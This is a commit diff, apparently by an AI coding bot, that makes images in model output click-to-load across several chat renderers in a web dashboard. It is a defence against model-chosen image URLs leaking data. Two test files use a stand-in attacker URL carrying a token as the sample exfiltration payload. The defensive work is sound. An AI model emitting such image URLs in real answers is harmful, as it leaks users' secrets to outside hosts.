This commit is contained in:
devin-ai-integration[bot] 2026-09-30 16:56:36 -04:00 • committed by GitHub
commit bf964ad399
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
11 changed files with 249 additions and 62 deletions

View file

@ -14,6 +14,7 @@ import { EndpointType } from "@/components/chat_ui/mode_endpoint_mapping";
import MCPEventsDisplay from "@/components/chat_ui/MCPEventsDisplay";
import type { MCPEvent } from "@/components/mcp_tools/types";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import ResponsesImageRenderer from "./ResponsesImageRenderer";
import { SearchResultsDisplay } from "./SearchResultsDisplay";
@ -165,6 +166,7 @@ function ChatMessageBubble({
);
},
pre: ({ node, ...props }) => <pre style={{ overflowX: "auto", maxWidth: "100%" }} {...props} />,
img: MarkdownImage,
}}
>
{typeof message.content === "string" ? message.content : ""}

View file

@ -7,6 +7,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import ChatImageRenderer from "../../chat_ui/ChatImageRenderer";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import { SearchResultsDisplay } from "../../chat_ui/SearchResultsDisplay";
import type { MessageType } from "@/components/chat_ui/types";
@ -93,6 +94,7 @@ export function MessageDisplay({ messages, isLoading }: MessageDisplayProps) {
);
},
pre: ({ node, ...props }) => <pre style={{ overflowX: "auto", maxWidth: "100%" }} {...props} />,
img: MarkdownImage,
}}
>
{typeof message.content === "string" ? message.content : ""}

View file

@ -6,6 +6,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import { Message } from "./types";
interface MessageBubbleProps {
@ -87,6 +88,7 @@ const MessageBubble: React.FC<MessageBubbleProps> = ({ message }) => {
);
},
pre: ({ node, ...props }) => <pre style={{ overflowX: "auto", maxWidth: "100%" }} {...props} />,
img: MarkdownImage,
}}
>
{message.content}

View file

@ -1,5 +1,6 @@
import React, { useEffect, useRef, useState } from "react";
import ReactMarkdown from "react-markdown";
import ReactMarkdown, { type Components } from "react-markdown";
import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import { Button } from "@/components/ui/button";
import {
Combobox,
@ -68,40 +69,37 @@ const ToolCallDisplay: React.FC<{ step: ToolCallStep }> = ({ step }) => {
);
};
const markdownComponents: Components = {
p: ({ children }) => <p className="mb-2 last:mb-0">{children}</p>,
strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
ul: ({ children }) => <ul className="list-disc pl-4 mb-2 space-y-0.5">{children}</ul>,
ol: ({ children }) => <ol className="list-decimal pl-4 mb-2 space-y-0.5">{children}</ol>,
li: ({ children }) => <li>{children}</li>,
h1: ({ children }) => <h4 className="font-semibold text-sm mt-2 mb-1">{children}</h4>,
h2: ({ children }) => <h4 className="font-semibold text-sm mt-2 mb-1">{children}</h4>,
h3: ({ children }) => <h4 className="font-semibold text-sm mt-2 mb-1">{children}</h4>,
code: ({ children, className }) => {
const isBlock = className?.includes("language-");
return isBlock ? (
<pre className="bg-muted rounded-sm p-2 my-1 overflow-x-auto text-xs">
<code>{children}</code>
</pre>
) : (
<code className="px-1 py-0.5 rounded-sm bg-muted text-xs font-mono">{children}</code>
);
},
table: ({ children }) => (
<div className="overflow-x-auto my-2">
<table className="text-xs border-collapse w-full">{children}</table>
</div>
),
th: ({ children }) => <th className="border border-border px-2 py-1 bg-muted font-medium text-left">{children}</th>,
td: ({ children }) => <td className="border border-border px-2 py-1">{children}</td>,
img: MarkdownImage,
};
const MarkdownContent: React.FC<{ content: string }> = ({ content }) => (
<ReactMarkdown
components={{
p: ({ children }) => <p className="mb-2 last:mb-0">{children}</p>,
strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
ul: ({ children }) => <ul className="list-disc pl-4 mb-2 space-y-0.5">{children}</ul>,
ol: ({ children }) => <ol className="list-decimal pl-4 mb-2 space-y-0.5">{children}</ol>,
li: ({ children }) => <li>{children}</li>,
h1: ({ children }) => <h4 className="font-semibold text-sm mt-2 mb-1">{children}</h4>,
h2: ({ children }) => <h4 className="font-semibold text-sm mt-2 mb-1">{children}</h4>,
h3: ({ children }) => <h4 className="font-semibold text-sm mt-2 mb-1">{children}</h4>,
code: ({ children, className }) => {
const isBlock = className?.includes("language-");
return isBlock ? (
<pre className="bg-muted rounded-sm p-2 my-1 overflow-x-auto text-xs">
<code>{children}</code>
</pre>
) : (
<code className="px-1 py-0.5 rounded-sm bg-muted text-xs font-mono">{children}</code>
);
},
table: ({ children }) => (
<div className="overflow-x-auto my-2">
<table className="text-xs border-collapse w-full">{children}</table>
</div>
),
th: ({ children }) => (
<th className="border border-border px-2 py-1 bg-muted font-medium text-left">{children}</th>
),
td: ({ children }) => <td className="border border-border px-2 py-1">{children}</td>,
}}
>
{content}
</ReactMarkdown>
<ReactMarkdown components={markdownComponents}>{content}</ReactMarkdown>
);
const UsageAIChatPanel: React.FC<UsageAIChatPanelProps> = ({ open, onClose, accessToken }) => {

View file

@ -15,6 +15,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import MCPEventsDisplay from "@/components/chat_ui/MCPEventsDisplay";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import { ChatMessage } from "./types";
@ -69,6 +70,7 @@ function MarkdownCodeRenderer({
const markdownComponents: Components = {
code: MarkdownCodeRenderer,
img: MarkdownImage,
pre: ({ node, ...props }) => <pre className="max-w-full overflow-x-auto" {...props} />,
p: ({ node, ...props }) => <p className="my-3 first:mt-0 last:mb-0" {...props} />,
ul: ({ node, ...props }) => <ul className="my-3 list-disc space-y-1 pl-5" {...props} />,
@ -81,11 +83,6 @@ const markdownComponents: Components = {
td: ({ node, ...props }) => <TableCell {...props} />,
};
const markdownWithoutImages: Components = {
...markdownComponents,
img: ({ alt }) => <span>{alt || "Image omitted"}</span>,
};
interface UserBubbleProps {
message: ChatMessage;
onEdit?: (messageId: string, newContent: string) => void;
@ -207,21 +204,13 @@ function UserBubble({ message, onEdit, isStreaming }: UserBubbleProps) {
interface AssistantBubbleProps {
message: ChatMessage;
allowImages: boolean;
isLastMessage: boolean;
isStreaming: boolean;
isTypingIndicator: boolean;
mcpEvents?: ChatMessage["mcpEvents"];
}
function AssistantBubble({
message,
allowImages,
isLastMessage,
isStreaming,
isTypingIndicator,
mcpEvents,
}: AssistantBubbleProps) {
function AssistantBubble({ message, isLastMessage, isStreaming, isTypingIndicator, mcpEvents }: AssistantBubbleProps) {
const [reasoningKey, setReasoningKey] = useState(0);
const prevStreamingRef = useRef<boolean>(isStreaming);
@ -262,10 +251,7 @@ function AssistantBubble({
))}
<BubbleContent className="w-full text-foreground">
<ReactMarkdown
remarkPlugins={[remarkGfm]}
components={allowImages ? markdownComponents : markdownWithoutImages}
>
<ReactMarkdown remarkPlugins={[remarkGfm]} components={markdownComponents}>
{mainContent}
</ReactMarkdown>
{stoppedSuffix && <span className="text-muted-foreground italic"> [stopped]</span>}
@ -421,7 +407,6 @@ interface Props {
interface ChatMessageContentProps {
message: ChatMessage;
allowImages?: boolean;
isStreaming?: boolean;
isLastMessage?: boolean;
onEditMessage?: (messageId: string, newContent: string) => void;
@ -429,7 +414,6 @@ interface ChatMessageContentProps {
export function ChatMessageContent({
message,
allowImages = true,
isStreaming = false,
isLastMessage = true,
onEditMessage,
@ -445,7 +429,6 @@ export function ChatMessageContent({
return (
<AssistantBubble
message={message}
allowImages={allowImages}
isLastMessage={isLastMessage}
isStreaming={isStreaming}
isTypingIndicator={isLastMessage && isStreaming && message.content === ""}

View file

@ -212,7 +212,7 @@ import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
Use the official registry `Bubble` and `BubbleContent` primitives. User messages use the muted variant and end alignment. Assistant messages use the ghost variant at full available width. Keep paragraph spacing and list markers in the shared Markdown renderer. GFM tables use the shared Table primitives, which provide horizontal scrolling. Forward Markdown cell styles so column alignment survives rendering
LiteAdmin passes `allowImages={false}` to show image descriptions without automatically requesting external image URLs from administrative answers. Other chat consumers retain image rendering by default
Every markdown image in model output renders through the shared `MarkdownImage` (`src/components/chat_ui/MarkdownImage.tsx`) as a click-to-load placeholder naming the image host, so the browser never requests a URL the model chose until the admin clicks it. A remount at stream end (the usage panel's in-flight block, a reasoning block's key flip) returns a loaded image to its placeholder, which is the safe direction, so it stays
Scrolling belongs to the conversation container. LiteAdmin uses official MessageScroller items with stable chronological IDs; a pending action and its result stay in the same row. Its inline action review is an explicit product exception to the AlertDialog confirmation pattern below

View file

@ -0,0 +1,90 @@
import { fireEvent, screen } from "@testing-library/react";
import { describe, expect, it, vi } from "vitest";
import { renderWithProviders } from "@/../tests/test-utils";
import ChatMessageBubble from "@/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble";
import { MessageDisplay } from "@/app/(dashboard)/playground/components/compareUI/components/MessageDisplay";
import MessageBubble from "@/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble";
import UsageAIChatPanel from "@/app/(dashboard)/usage/_components/components/UsageAIChatPanel";
import { ChatMessageContent } from "@/components/chat/ChatMessages";
import { EndpointType } from "@/components/chat_ui/mode_endpoint_mapping";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
type UsageAiChatStream = typeof import("@/components/networking").usageAiChatStream;
const REMOTE_SRC = "http://attacker.example:4444/chart.png?token=secret";
const MODEL_OUTPUT = `Weekly report\n\n![Weekly chart](${REMOTE_SRC})`;
vi.mock("@/components/networking", async (importOriginal) => ({
...(await importOriginal<typeof import("@/components/networking")>()),
modelHubCall: vi.fn().mockResolvedValue({ data: [{ model_group: "gpt-4o-mini" }] }),
usageAiChatStream: vi.fn(async (...args: Parameters<UsageAiChatStream>) => {
const [, , , onChunk, onDone] = args;
onChunk(MODEL_OUTPUT);
onDone();
}),
}));
async function expectClickToLoad() {
const load = await screen.findByRole("button", { name: /attacker\.example:4444 Load image/ });
expect(screen.queryByRole("img")).not.toBeInTheDocument();
fireEvent.click(load);
expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
}
describe("model output images are click-to-load in every markdown renderer", () => {
it("chat page assistant bubble", async () => {
renderWithProviders(
<ChatMessageContent message={{ id: "a1", role: "assistant", content: MODEL_OUTPUT, timestamp: 0 }} />,
);
await expectClickToLoad();
});
it("playground chat bubble", async () => {
renderWithProviders(
<ChatMessageBubble
message={{ role: "assistant", content: MODEL_OUTPUT, model: "gpt-4o-mini" }}
isLastMessage={false}
endpointType={EndpointType.CHAT}
mcpEvents={[]}
codeInterpreterResult={null}
accessToken="test-token"
/>,
);
await expectClickToLoad();
});
it("playground compare view", async () => {
renderWithProviders(
<MessageDisplay
messages={[
{ role: "user", content: "Weekly status?" },
{ role: "assistant", content: MODEL_OUTPUT, model: "gpt-4o-mini" },
]}
isLoading={false}
/>,
);
await expectClickToLoad();
});
it("prompt editor conversation bubble", async () => {
renderWithProviders(<MessageBubble message={{ role: "assistant", content: MODEL_OUTPUT, model: "gpt-4o-mini" }} />);
await expectClickToLoad();
});
it("reasoning content", async () => {
renderWithProviders(<ReasoningContent reasoningContent={MODEL_OUTPUT} />);
await expectClickToLoad();
});
it("usage Ask AI panel", async () => {
renderWithProviders(<UsageAIChatPanel open={true} onClose={vi.fn()} accessToken="test-token" />);
fireEvent.change(screen.getByPlaceholderText("Ask about your usage..."), { target: { value: "Weekly status?" } });
fireEvent.click(screen.getByRole("button", { name: "Send" }));
await expectClickToLoad();
fireEvent.change(screen.getByPlaceholderText("Ask about your usage..."), { target: { value: "And next week?" } });
expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
});
});

View file

@ -0,0 +1,64 @@
import { fireEvent, render, screen } from "@testing-library/react";
import { describe, expect, it, vi } from "vitest";
import type React from "react";
import { MarkdownImage } from "./MarkdownImage";
const REMOTE_SRC = "http://attacker.example:4444/chart.png?token=secret";
describe("MarkdownImage", () => {
it("renders a placeholder naming the host instead of an image until clicked", () => {
render(<MarkdownImage src={REMOTE_SRC} alt="Weekly chart" />);
expect(screen.queryByRole("img")).not.toBeInTheDocument();
const load = screen.getByRole("button", { name: "Weekly chart attacker.example:4444 Load image" });
expect(load).toHaveAttribute("title", REMOTE_SRC);
fireEvent.click(load);
expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
expect(screen.queryByRole("button")).not.toBeInTheDocument();
});
it("loads the image instead of following a link that wraps it", () => {
const onAnchorClick = vi.fn((event: React.MouseEvent<HTMLAnchorElement>) => event.defaultPrevented);
render(
<a href="https://link.example/" onClick={onAnchorClick}>
<MarkdownImage src={REMOTE_SRC} alt="Weekly chart" />
</a>,
);
fireEvent.click(screen.getByRole("button", { name: "Weekly chart attacker.example:4444 Load image" }));
expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
expect(onAnchorClick).toHaveReturnedWith(true);
});
it("falls back to the raw source when it has no host", () => {
render(<MarkdownImage src="/static/logo.png" alt="" />);
render(<MarkdownImage src="mailto:ops@example.com" alt="" />);
expect(screen.getByRole("button", { name: "Image /static/logo.png Load image" })).toBeInTheDocument();
expect(screen.getByRole("button", { name: "Image mailto:ops@example.com Load image" })).toBeInTheDocument();
});
it("labels an inline data image without showing its payload", () => {
const payload = `data:image/png;base64,${"A".repeat(4096)}`;
render(<MarkdownImage src={payload} alt="Weekly chart" />);
const load = screen.getByRole("button", { name: "Weekly chart inline image Load image" });
expect(load).not.toHaveAttribute("title");
expect(load).not.toHaveTextContent("base64");
fireEvent.click(load);
expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", payload);
});
it("renders only the alt text when there is no source", () => {
render(<MarkdownImage alt="Weekly chart" />);
expect(screen.getByText("Weekly chart")).toBeInTheDocument();
expect(screen.queryByRole("button")).not.toBeInTheDocument();
expect(screen.queryByRole("img")).not.toBeInTheDocument();
});
});

View file

@ -0,0 +1,49 @@
import { ImageIcon } from "lucide-react";
import React, { useState } from "react";
import { Button } from "@/components/ui/button";
type MarkdownImageProps = Pick<React.ComponentPropsWithoutRef<"img">, "src" | "alt" | "title">;
type ImageSource = { readonly label: string; readonly tooltip: string | undefined };
function describeImageSource(src: string): ImageSource {
if (src.startsWith("data:")) {
return { label: "inline image", tooltip: undefined };
}
const host = URL.canParse(src) ? new URL(src).host : "";
return { label: host || src, tooltip: src };
}
export function MarkdownImage({ src, alt, title }: MarkdownImageProps) {
const [loaded, setLoaded] = useState(false);
if (typeof src !== "string" || src === "") {
return <span>{alt}</span>;
}
if (loaded) {
// eslint-disable-next-line @next/next/no-img-element -- the host is whatever the model wrote, which next/image cannot allowlist
return <img src={src} alt={alt ?? ""} title={title} className="max-w-full rounded-md border border-border" />;
}
const source = describeImageSource(src);
return (
<Button
type="button"
variant="outline"
size="sm"
onClick={(event) => {
event.preventDefault();
setLoaded(true);
}}
title={source.tooltip}
className="max-w-full font-normal"
>
<ImageIcon className="text-muted-foreground" aria-hidden="true" />
<span className="truncate">{alt || "Image"}</span>{" "}
<span className="truncate text-muted-foreground">{source.label}</span>{" "}
<span className="shrink-0 font-medium">Load image</span>
</Button>
);
}

View file

@ -7,6 +7,7 @@ import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import { ChevronDown, ChevronRight, Lightbulb } from "lucide-react";
import { Button } from "@/components/ui/button";
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
import { MarkdownImage } from "./MarkdownImage";
interface ReasoningContentProps {
reasoningContent: string;
@ -77,6 +78,7 @@ const ReasoningContent: React.FC<ReasoningContentProps> = ({ reasoningContent })
);
},
pre: ({ node, ...props }) => <pre style={{ overflowX: "auto", maxWidth: "100%" }} {...props} />,
img: MarkdownImage,
}}
>
{reasoningContent}

View file

@ -40,12 +40,7 @@ export function LiteAdminConversation({ entries, thinking, open, reviewRef, onAn
{entries.map((entry) => (
<MessageScroller.Item key={entry.id} messageId={entry.id}>
{entry.kind === "message" && (
<ChatMessageContent
message={entry.message}
allowImages={false}
isLastMessage={false}
isStreaming={false}
/>
<ChatMessageContent message={entry.message} isLastMessage={false} isStreaming={false} />
)}
{entry.kind === "action" && (
<ActionCard entry={entry} open={open} reviewRef={reviewRef} onAnswer={onAnswer} />